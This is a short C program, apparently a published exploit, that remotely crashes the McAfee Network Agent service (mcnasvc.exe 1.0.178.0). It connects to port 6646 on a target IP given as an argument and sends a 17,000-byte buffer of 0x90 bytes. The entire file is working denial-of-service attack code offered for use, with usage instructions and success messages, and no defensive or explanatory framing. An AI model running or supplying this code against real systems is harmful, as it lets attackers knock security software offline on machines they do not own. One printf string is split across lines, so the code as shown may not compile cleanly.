/////////////////////////////////////////////////////
// Mcafee Network Agent (mcnasvc.exe) Remote DoS
// By JAAScois [ http://www.jaascois.com ]
// Teston [ mcnasvc.exe ver1.0.178.0 ]
// Path    [C:\Program Files\Common Files\McAfee\MNA]
// Port:    [6646]
/////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int main (int argc, char *argv[]){

struct sockaddr_in tcp;
static SOCKET sock;
int ii=0;
unsigned char buf[17000];
WSADATA wsaData;

// packet
for(ii=0;ii<17000;ii++){
buf[ii]=0x90;
}

printf("[>>] Mcafee Network Agent (mcnasvc.exe ver 1.0.178.0) Remote DoS
\n");
printf("[>>] By JAAScois [ http://www.jaascois.com ] \n");
printf("[>>] +\n");
printf("[>>] +\n");

if(argc<2){
printf("[>>] Usage:%s 190.160.24.1\n",argv[0]);
return 1;
}

if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("[>>] WSAStartup failed !\n");
return 1;
}


sock=socket(AF_INET,SOCK_STREAM,0);
tcp.sin_addr.s_addr  = inet_addr(argv[1]); // IP
tcp.sin_family = AF_INET;
tcp.sin_port=htons(6646);

if(connect(sock, (struct sockaddr *) &tcp, sizeof (struct
sockaddr_in))==SOCKET_ERROR){
printf("[>>] connect failed !\n");
return 1;
}
send(sock,(char*)buf,17000,0);

printf("[>>] exploit sent successfully [%s]\n" , argv[1]);
closesocket(sock);
return 0;
}